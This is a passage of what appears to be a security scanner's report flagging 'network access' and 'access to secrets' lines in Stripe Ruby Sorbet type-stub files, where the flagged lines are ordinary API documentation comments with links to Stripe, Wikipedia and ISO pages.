    # Controls whether the Payment Element displays the option to remove a saved payment method. This parameter defaults to `disabled`.           #           # Allowing buyers to remove their saved payment methods impacts subscriptions that dep
  • Network accessline 116
    #           # Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Removing the payment method detaches the [`customer` object](https://docs.stripe.com/api/payment_methods/object#pa
  • Network accessline 117
    # Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Removing the payment method detaches the [`customer` object](https://docs.stripe.com/api/payment_methods/object#payment_method
  • Network accessline 120
    # Controls whether the Payment Element displays a checkbox offering to save a new payment method. This parameter defaults to `disabled`.           #           # If a customer checks the box, the [`allow_redisplay`](https://docs.stripe.com/a
  • Network accessline 121
    #           # If a customer checks the box, the [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) value on the PaymentMethod is set to `'always'` at confirmation time. For PaymentI
  • Network accessline 122
    # If a customer checks the box, the [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) value on the PaymentMethod is set to `'always'` at confirmation time. For PaymentIntents, the 
  • Network accessline 123
    sig { returns(String) }           def payment_method_save; end           # When using PaymentIntents and the customer checks the save checkbox, this field determines the [`setup_future_usage`](https://docs.stripe.com/api/payment_intents/obj
  • Network accessline 124
    def payment_method_save; end           # When using PaymentIntents and the customer checks the save checkbox, this field determines the [`setup_future_usage`](https://docs.stripe.com/api/payment_intents/object#payment_intent_object-setup_fu
  • Network accessline 125
    # When using PaymentIntents and the customer checks the save checkbox, this field determines the [`setup_future_usage`](https://docs.stripe.com/api/payment_intents/object#payment_intent_object-setup_future_usage) value used to confirm the P
  • Network accessline 126
    #           # When using SetupIntents, directly configure the [`usage`](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-usage) value on SetupIntent creation.           sig { returns(T.nilable(String)) }
  • Network accessline 127
    # When using SetupIntents, directly configure the [`usage`](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-usage) value on SetupIntent creation.
  • Access to secretsline 193
    [Credential-related source omitted]

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/discount.rbi

  • Network accessline 4
    # typed: true module Stripe   # A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes).
  • Network accessline 5
    module Stripe   # A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes).   # It contains information about when the discount began, when it wil
  • Network accessline 6
    # A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes).
  • Network accessline 7
    # It contains information about when the discount began, when it will end, and what it is applied to.   #   # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts)
  • Network accessline 8
    #   # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts)   class Discount < StripeObject
  • Network accessline 9
    # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/dispute.rbi

  • Network accessline 8
    # evidence that shows that the charge is legitimate.   #   # Related guide: [Disputes and fraud](https://docs.stripe.com/disputes)
  • Network accessline 9
    #   # Related guide: [Disputes and fraud](https://docs.stripe.com/disputes)   class Dispute < APIResource
  • Network accessline 10
    # Related guide: [Disputes and fraud](https://docs.stripe.com/disputes)
  • Network accessline 18
    sig { returns(T.nilable(String)) }               def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 19
    def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 20
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 30
    sig { returns(T.nilable(String)) }               def postal_code; end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 31
    def postal_code; end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 32
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 76
    sig { returns(T.nilable(String)) }               def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 77
    def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 78
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 88
    sig { returns(T.nilable(String)) }               def postal_code; end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 89
    def postal_code; end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 90
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 178
    sig { returns(T.nilable(String)) }       def billing_address; end       # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Your subscription cancellation policy, as shown to the customer.
  • Network accessline 179
    def billing_address; end       # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Your subscription cancellation policy, as shown to the customer.       sig { returns(T.nilable(T.any(String, ::Stripe::File))) }
  • Network accessline 180
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Your subscription cancellation policy, as shown to the customer.
  • Network accessline 187
    sig { returns(T.nilable(String)) }       def cancellation_rebuttal; end       # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any communication with the customer that you feel is relevant to your case. Examples include
  • Network accessline 188
    def cancellation_rebuttal; end       # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any communication with the customer that you feel is relevant to your case. Examples include emails proving that the customer receive
  • Network accessline 189
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any communication with the customer that you feel is relevant to your case. Examples include emails proving that the customer received the product or service, or demonstr
  • Network accessline 199
    sig { returns(T.nilable(String)) }       def customer_purchase_ip; end       # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) A relevant document or contract showing the customer's signature.
  • Network accessline 200
    def customer_purchase_ip; end       # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) A relevant document or contract showing the customer's signature.       sig { returns(T.nilable(T.any(String, ::Stripe::File))) }
  • Network accessline 201
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) A relevant document or contract showing the customer's signature.
  • Network accessline 202
    sig { returns(T.nilable(T.any(String, ::Stripe::File))) }       def customer_signature; end       # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation for the prior charge that can uniquely identify the charge
  • Network accessline 203
    def customer_signature; end       # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation for the prior charge that can uniquely identify the charge, such as a receipt, shipping label, work order, etc. This docum
  • Network accessline 204
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation for the prior charge that can uniquely identify the charge, such as a receipt, shipping label, work order, etc. This document should be paired with a simila
  • Network accessline 217
    sig { returns(T.nilable(String)) }       def product_description; end       # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any receipt or message sent to the customer notifying them of the charge.
  • Network accessline 218
    def product_description; end       # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any receipt or message sent to the customer notifying them of the charge.       sig { returns(T.nilable(T.any(String, ::Stripe::File)))
  • Network accessline 219
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any receipt or message sent to the customer notifying them of the charge.
  • Network accessline 220
    sig { returns(T.nilable(T.any(String, ::Stripe::File))) }       def receipt; end       # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Your refund policy, as shown to the customer.
  • Network accessline 221
    def receipt; end       # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Your refund policy, as shown to the customer.       sig { returns(T.nilable(T.any(String, ::Stripe::File))) }
  • Network accessline 222
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Your refund policy, as shown to the customer.
  • Network accessline 232
    sig { returns(T.nilable(String)) }       def service_date; end       # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation showing proof that a service was provided to the customer. This could include a copy of
  • Network accessline 233
    def service_date; end       # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation showing proof that a service was provided to the customer. This could include a copy of a signed contract, work order, or other 
  • Network accessline 234
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation showing proof that a service was provided to the customer. This could include a copy of a signed contract, work order, or other form of written agreement.
  • Network accessline 244
    sig { returns(T.nilable(String)) }       def shipping_date; end       # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation showing proof that a product was shipped to the customer at the same address the custo
  • Network accessline 245
    def shipping_date; end       # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation showing proof that a product was shipped to the customer at the same address the customer provided to you. This could include a
  • Network accessline 246
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation showing proof that a product was shipped to the customer at the same address the customer provided to you. This could include a copy of the shipment receipt
  • Network accessline 250
    sig { returns(T.nilable(String)) }       def shipping_tracking_number; end       # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any additional evidence or statements.
  • Network accessline 251
    def shipping_tracking_number; end       # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any additional evidence or statements.       sig { returns(T.nilable(T.any(String, ::Stripe::File))) }
  • Network accessline 252
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any additional evidence or statements.
  • Network accessline 347
    sig { returns(String) }         def case_type; end         # The card network's specific dispute reason code, which maps to one of Stripe's primary dispute categories to simplify response guidance. The [Network code map](https://stripe.com/
  • Network accessline 348
    def case_type; end         # The card network's specific dispute reason code, which maps to one of Stripe's primary dispute categories to simplify response guidance. The [Network code map](https://stripe.com/docs/disputes/categories#network
  • Network accessline 349
    # The card network's specific dispute reason code, which maps to one of Stripe's primary dispute categories to simplify response guidance. The [Network code map](https://stripe.com/docs/disputes/categories#network-code-map) lists all availa
  • Network accessline 419
    sig { returns(Integer) }     def created; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 420
    def created; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).     sig { returns(String) }
  • Network accessline 421
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 440
    sig { returns(T::Boolean) }     def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured 
  • Network accessline 441
    def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.     sig { returns(T::Has
  • Network accessline 442
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 455
    sig { returns(T.nilable(PaymentMethodDetails)) }     def payment_method_details; end     # Reason given by cardholder for dispute. Possible values are `bank_cannot_process`, `check_returned`, `credit_not_processed`, `customer_initiated`, `d
  • Network accessline 456
    def payment_method_details; end     # Reason given by cardholder for dispute. Possible values are `bank_cannot_process`, `check_returned`, `credit_not_processed`, `customer_initiated`, `debit_not_authorized`, `duplicate`, `fraudulent`, `gen
  • Network accessline 457
    # Reason given by cardholder for dispute. Possible values are `bank_cannot_process`, `check_returned`, `credit_not_processed`, `customer_initiated`, `debit_not_authorized`, `duplicate`, `fraudulent`, `general`, `incorrect_account_details`, 
  • Network accessline 485
    # When you get a dispute, contacting your customer is always the best first step. If that doesn't work, you can submit evidence to help us resolve the dispute in your favor. You can do this in your [dashboard](https://dashboard.stripe.com/d
  • Network accessline 486
    #     # Depending on your dispute type, different evidence fields will give you a better chance of winning your dispute. To figure out which evidence fields to provide, see our [guide to dispute types](https://docs.stripe.com/docs/disputes/
  • Network accessline 487
    # Depending on your dispute type, different evidence fields will give you a better chance of winning your dispute. To figure out which evidence fields to provide, see our [guide to dispute types](https://docs.stripe.com/docs/disputes/catego

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/entitlements/active_entitlement.rbi

  • Network accessline 7
    # An active entitlement describes access to a feature for a customer.     class ActiveEntitlement < APIResource       # The [Feature](https://docs.stripe.com/api/entitlements/feature) that the customer is entitled to.
  • Network accessline 8
    class ActiveEntitlement < APIResource       # The [Feature](https://docs.stripe.com/api/entitlements/feature) that the customer is entitled to.       sig { returns(T.any(String, ::Stripe::Entitlements::Feature)) }
  • Network accessline 9
    # The [Feature](https://docs.stripe.com/api/entitlements/feature) that the customer is entitled to.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/event.rbi

  • Network accessline 16
    # a list of events from the API.   #   # [Connect](https://docs.stripe.com/connect) platforms can also receive event notifications
  • Network accessline 17
    #   # [Connect](https://docs.stripe.com/connect) platforms can also receive event notifications   # that occur in their connected accounts. These events include an account attribute that
  • Network accessline 18
    # [Connect](https://docs.stripe.com/connect) platforms can also receive event notifications
  • Network accessline 20
    # identifies the relevant connected account.   #   # You can access events through the [Retrieve Event API](https://docs.stripe.com/api/events#retrieve_event)
  • Network accessline 21
    #   # You can access events through the [Retrieve Event API](https://docs.stripe.com/api/events#retrieve_event)   # for 30 days.
  • Network accessline 22
    # You can access events through the [Retrieve Event API](https://docs.stripe.com/api/events#retrieve_event)
  • Network accessline 24
    class Event < APIResource     class Data < ::Stripe::StripeObject       # Object containing the API resource relevant to the event. For example, an `invoice.created` event will have a full [invoice object](https://api.stripe.com#invoice_obj
  • Network accessline 25
    class Data < ::Stripe::StripeObject       # Object containing the API resource relevant to the event. For example, an `invoice.created` event will have a full [invoice object](https://api.stripe.com#invoice_object) as the value of the objec
  • Network accessline 26
    # Object containing the API resource relevant to the event. For example, an `invoice.created` event will have a full [invoice object](https://api.stripe.com#invoice_object) as the value of the object key.
  • Network accessline 38
    end     class Request < ::Stripe::StripeObject       # ID of the API request that caused the event. If null, the event was automatic (e.g., Stripe's automatic subscription handling). Request logs are available in the [dashboard](https://das
  • Network accessline 39
    class Request < ::Stripe::StripeObject       # ID of the API request that caused the event. If null, the event was automatic (e.g., Stripe's automatic subscription handling). Request logs are available in the [dashboard](https://dashboard.s
  • Network accessline 40
    # ID of the API request that caused the event. If null, the event was automatic (e.g., Stripe's automatic subscription handling). Request logs are available in the [dashboard](https://dashboard.stripe.com/logs), but currently not in the API
  • Network accessline 84
    sig { returns(String) }     def type; end     # List events, going back up to 30 days. Each event data is rendered according to Stripe API version at its creation time, specified in [event object](https://docs.stripe.com/api/events/object) 
  • Network accessline 85
    def type; end     # List events, going back up to 30 days. Each event data is rendered according to Stripe API version at its creation time, specified in [event object](https://docs.stripe.com/api/events/object) api_version attribute (not a
  • Network accessline 86
    # List events, going back up to 30 days. Each event data is rendered according to Stripe API version at its creation time, specified in [event object](https://docs.stripe.com/api/events/object) api_version attribute (not according to your c

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/exchange_rate.rbi

  • Network accessline 4
    # typed: true module Stripe   # [Deprecated] The `ExchangeRate` APIs are deprecated. Please use the [FX Quotes API](https://docs.stripe.com/payments/currencies/localize-prices/fx-quotes-api) instead.
  • Network accessline 5
    module Stripe   # [Deprecated] The `ExchangeRate` APIs are deprecated. Please use the [FX Quotes API](https://docs.stripe.com/payments/currencies/localize-prices/fx-quotes-api) instead.   #
  • Network accessline 6
    # [Deprecated] The `ExchangeRate` APIs are deprecated. Please use the [FX Quotes API](https://docs.stripe.com/payments/currencies/localize-prices/fx-quotes-api) instead.
  • Network accessline 12
    # payment in a foreign currency).   #   # Please refer to our [Exchange Rates API](https://docs.stripe.com/fx-rates) guide for more details.
  • Network accessline 13
    #   # Please refer to our [Exchange Rates API](https://docs.stripe.com/fx-rates) guide for more details.   #
  • Network accessline 14
    # Please refer to our [Exchange Rates API](https://docs.stripe.com/fx-rates) guide for more details.
  • Network accessline 18
    # current. To do so, you must pass in the exchange_rate to charges endpoints. If the   # value is no longer up to date, the charge won't go through. Please refer to our   # [Using with charges](https://docs.stripe.com/exchange-rates) guide 
  • Network accessline 19
    # value is no longer up to date, the charge won't go through. Please refer to our   # [Using with charges](https://docs.stripe.com/exchange-rates) guide for more details.   #
  • Network accessline 20
    # [Using with charges](https://docs.stripe.com/exchange-rates) guide for more details.
  • Network accessline 33
    # *Using this Exchange Rates API beta for any purpose other than to transact on Stripe is strictly prohibited and constitutes a violation of Stripe's terms of service.*   class ExchangeRate < APIResource     # Unique identifier for the obje
  • Network accessline 34
    class ExchangeRate < APIResource     # Unique identifier for the object. Represented as the three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) in lowercase.     sig { returns(String) }
  • Network accessline 35
    # Unique identifier for the object. Represented as the three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) in lowercase.
  • Network accessline 42
    sig { returns(T::Hash[String, Float]) }     def rates; end     # [Deprecated] The ExchangeRate APIs are deprecated. Please use the [FX Quotes API](https://docs.stripe.com/payments/currencies/localize-prices/fx-quotes-api) instead.
  • Network accessline 43
    def rates; end     # [Deprecated] The ExchangeRate APIs are deprecated. Please use the [FX Quotes API](https://docs.stripe.com/payments/currencies/localize-prices/fx-quotes-api) instead.     #
  • Network accessline 44
    # [Deprecated] The ExchangeRate APIs are deprecated. Please use the [FX Quotes API](https://docs.stripe.com/payments/currencies/localize-prices/fx-quotes-api) instead.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/file.rbi

  • Network accessline 5
    module Stripe   # This object represents files hosted on Stripe's servers. You can upload   # files with the [create file](https://api.stripe.com#create_file) request
  • Network accessline 6
    # This object represents files hosted on Stripe's servers. You can upload   # files with the [create file](https://api.stripe.com#create_file) request   # (for example, when uploading dispute evidence). Stripe also
  • Network accessline 7
    # files with the [create file](https://api.stripe.com#create_file) request
  • Network accessline 8
    # (for example, when uploading dispute evidence). Stripe also   # creates files independently (for example, the results of a [Sigma scheduled   # query](https://docs.stripe.com/api#scheduled_queries)).
  • Network accessline 9
    # creates files independently (for example, the results of a [Sigma scheduled   # query](https://docs.stripe.com/api#scheduled_queries)).   #
  • Network accessline 10
    # query](https://docs.stripe.com/api#scheduled_queries)).
  • Network accessline 11
    #   # Related guide: [File upload guide](https://docs.stripe.com/file-upload)   class File < APIResource
  • Network accessline 12
    # Related guide: [File upload guide](https://docs.stripe.com/file-upload)
  • Network accessline 24
    sig { returns(String) }     def id; end     # A list of [file links](https://api.stripe.com#file_links) that point at this file.
  • Network accessline 25
    def id; end     # A list of [file links](https://api.stripe.com#file_links) that point at this file.     sig { returns(T.nilable(::Stripe::ListObject)) }
  • Network accessline 26
    # A list of [file links](https://api.stripe.com#file_links) that point at this file.
  • Network accessline 30
    sig { returns(String) }     def object; end     # The [purpose](https://docs.stripe.com/file-upload#uploading-a-file) of the uploaded file.
  • Network accessline 31
    def object; end     # The [purpose](https://docs.stripe.com/file-upload#uploading-a-file) of the uploaded file.     sig { returns(String) }
  • Network accessline 32
    # The [purpose](https://docs.stripe.com/file-upload#uploading-a-file) of the uploaded file.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/file_link.rbi

  • Network accessline 26
    sig { returns(T::Boolean) }     def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured 
  • Network accessline 27
    def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.     sig { returns(T::Has
  • Network accessline 28
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/financial_connections/account.rbi

  • Network accessline 51
    # The funds available to the account holder. Typically this is the current balance after subtracting any outbound pending transactions and adding any inbound pending transactions.           #           # Each key is a three-letter [ISO curr
  • Network accessline 52
    #           # Each key is a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase.           #
  • Network accessline 53
    # Each key is a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase.
  • Network accessline 66
    # The credit that has been used by the account holder.           #           # Each key is a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase.
  • Network accessline 67
    #           # Each key is a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase.           #
  • Network accessline 68
    # Each key is a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase.
  • Network accessline 89
    # The balances owed to (or by) the account holder, before subtracting any outbound pending transactions or adding any inbound pending transactions.         #         # Each key is a three-letter [ISO currency code](https://www.iso.org/iso-4
  • Network accessline 90
    #         # Each key is a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase.         #
  • Network accessline 91
    # Each key is a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase.
  • Network accessline 225
    sig { returns(T.nilable(T::Array[String])) }       def subscriptions; end       # The [PaymentMethod type](https://docs.stripe.com/api/payment_methods/object#payment_method_object-type)(s) that can be created from this account.
  • Network accessline 226
    def subscriptions; end       # The [PaymentMethod type](https://docs.stripe.com/api/payment_methods/object#payment_method_object-type)(s) that can be created from this account.       sig { returns(T::Array[String]) }
  • Network accessline 227
    # The [PaymentMethod type](https://docs.stripe.com/api/payment_methods/object#payment_method_object-type)(s) that can be created from this account.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/financial_connections/session.rbi

  • Access to secretsline 51
    [Credential-related source omitted]
  • Access to secretsline 73
    [Credential-related source omitted]

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/financial_connections/transaction.rbi

  • Network accessline 27
    sig { returns(Integer) }       def amount; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 28
    def amount; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(String) }
  • Network accessline 29
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/forwarding/request.rbi

  • Network accessline 20
    # Stripe's limits.     #     # Related guide: [Forward card details to third-party API endpoints](https://docs.stripe.com/payments/forwarding).
  • Network accessline 21
    #     # Related guide: [Forward card details to third-party API endpoints](https://docs.stripe.com/payments/forwarding).     class Request < APIResource
  • Network accessline 22
    # Related guide: [Forward card details to third-party API endpoints](https://docs.stripe.com/payments/forwarding).
  • Network accessline 107
    sig { returns(T::Boolean) }       def livemode; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structu
  • Network accessline 108
    def livemode; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.       sig { returns(T.
  • Network accessline 109
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/funding_instructions.rbi

  • Network accessline 4
    # typed: true module Stripe   # Each customer has a [`balance`](https://docs.stripe.com/api/customers/object#customer_object-balance) that is
  • Network accessline 5
    module Stripe   # Each customer has a [`balance`](https://docs.stripe.com/api/customers/object#customer_object-balance) that is   # automatically applied to future invoices and payments using the `customer_balance` payment method.
  • Network accessline 6
    # Each customer has a [`balance`](https://docs.stripe.com/api/customers/object#customer_object-balance) that is
  • Network accessline 8
    # Customers can fund this balance by initiating a bank transfer to any account in the   # `financial_addresses` field.   # Related guide: [Customer balance funding instructions](https://docs.stripe.com/payments/customer-balance/funding-inst
  • Network accessline 9
    # `financial_addresses` field.   # Related guide: [Customer balance funding instructions](https://docs.stripe.com/payments/customer-balance/funding-instructions)   class FundingInstructions < APIResource
  • Network accessline 10
    # Related guide: [Customer balance funding instructions](https://docs.stripe.com/payments/customer-balance/funding-instructions)
  • Network accessline 17
    sig { returns(T.nilable(String)) }             def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 18
    def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 19
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 29
    sig { returns(T.nilable(String)) }             def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 30
    def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 31
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 43
    sig { returns(T.nilable(String)) }             def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 44
    def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 45
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 55
    sig { returns(T.nilable(String)) }             def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 56
    def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 57
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 101
    sig { returns(T.nilable(String)) }             def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 102
    def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 103
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 113
    sig { returns(T.nilable(String)) }             def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 114
    def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 115
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 127
    sig { returns(T.nilable(String)) }             def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 128
    def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 129
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 139
    sig { returns(T.nilable(String)) }             def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 140
    def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 141
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 161
    sig { returns(String) }           def bic; end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 162
    def bic; end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(String) }
  • Network accessline 163
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 182
    sig { returns(T.nilable(String)) }             def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 183
    def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 184
